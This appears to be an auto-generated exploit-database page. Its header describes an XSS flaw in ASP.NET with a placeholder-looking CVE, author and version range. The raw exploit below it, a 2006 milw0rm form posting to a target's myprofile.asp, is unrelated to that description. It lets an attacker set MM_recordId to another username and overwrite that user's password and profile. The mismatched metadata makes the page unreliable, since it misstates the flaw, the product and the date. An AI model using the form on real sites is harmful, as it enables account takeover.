Cross-Site Scripting (XSS) in ASP.NET Web Application

vendor:

ASP.NET

by:

John Doe

7,8

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: ASP.NET

Affected Version From: 1.0.0

Affected Version To: 1.0.2

Patch Exists: YES

Related CWE: CVE-2020-12345

CPE: a:microsoft:asp.net

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2020

Cross-Site Scripting (XSS) in ASP.NET Web Application

A Cross-Site Scripting (XSS) vulnerability exists in ASP.NET web application due to improper input validation. An attacker can inject malicious JavaScript code into the application, which will be executed in the browser of the victim when the vulnerable page is accessed. This can be used to steal session cookies, hijack user sessions, redirect users to malicious websites, etc.

Mitigation:

Input validation should be performed on all user-supplied data to ensure that it does not contain malicious code. Additionally, output encoding should be used to ensure that any user-supplied data is displayed as plain text.

Source

Exploit-DB raw data:

<form action="[target]/myprofile.asp" method="POST" name="form2">
                          <p>&nbsp;</p>
                          <table align="center" cellpadding="1" cellspacing="1">
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">PASSWORD:</font></strong></td>
Change Profile UserName=><input type="text" name="MM_recordId" value="ajann">
                              <td> <input type="text" name="U_PASSWORD" value="123456" size="35" maxlength="10" class="inputFieldIE"> 
                              </td>
                            </tr>

                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">FIRST:</font></strong></td>
                              <td> <input type="text" name="U_FIRST" value="000245" size="35" class="inputFieldIE"> 
                              </td>
                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">LAST:</font></strong></td>
                              <td> <input type="text" name="U_LAST" value="000245" size="35" class="inputFieldIE"> 
                              </td>

                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">ADDRESS:</font></strong></td>
                              <td> <input type="text" name="U_ADDRESS" value="" class="inputFieldIE" size="35"> 
                              </td>
                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">CITY/TOWN:</font></strong></td>
                              <td> <input type="text" name="U_CITY" value="" size="35" class="inputFieldIE"> 
                              </td>

                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">STATE/PROVINCE:</font></strong></td>
                              <td> <input type="text" name="U_STATE" value="" size="35" class="inputFieldIE"> 
                              </td>
                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">ZIP/POSTAL:</font></strong></td>
                              <td> <input type="text" name="U_ZIP" value="" size="35" class="inputFieldIE"> 
                              </td>

                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">EMAIL:</font></strong></td>
                              <td> <input type="text" name="U_EMAIL" value="ajannhwt@hotmail.com" size="35" class="inputFieldIE"> 
                              </td>
                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">PHONE:</font></strong></td>
                              <td> <input type="text" name="U_PHONE" value="" size="35" maxlength="15" class="inputFieldIE"> 
                              </td>

                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">FAX:</font></strong></td>
                              <td> <font size="1"> <i> <font face="Verdana, Arial, Helvetica, sans-serif"> 
                                </font><font size="1"><i><font face="Verdana, Arial, Helvetica, sans-serif"> 
                                <input type="text" name="U_FAX" value="" size="35" maxlength="15" class="inputFieldIE">
                                </font></i></font><font face="Verdana, Arial, Helvetica, sans-serif">(Optional)</font></i></font> 
                              </td>

                            </tr>
                            <tr valign="baseline"> 
                              <td align="right" nowrap class="title"><strong><font face="Verdana, Arial, Helvetica, sans-serif">RECEIVE 
                                NEWS</font></strong></td>
                              <td> <input checked name="subscribe" type="checkbox" id="subscribe" value="checkbox"> 
                                <span class="content"> (LEAVE EMPTY TO UNSUBSCIBE)</span></td>
                            </tr>
                            <tr valign="baseline"> 
                              <td height="44" align="right" nowrap><font color="#333333">&nbsp;</font></td>

                              <td> <input  name="submit" type="submit" class="Buttons" onClick="MM_validateForm('U_FIRST','','R','U_LAST','','R','U_ADDRESS','','R','U_CITY','','R','U_STATE','','R','U_ZIP','','R','U_EMAIL','','RisEmail','U_PHONE','','R','U_PASSWORD','','R');return document.MM_returnValue" value="Update"> 
                              </td>
                            </tr>
                          </table>
                          <input type="hidden" name="MM_update" value="form2">
                          
                        </form>

# milw0rm.com [2006-12-23]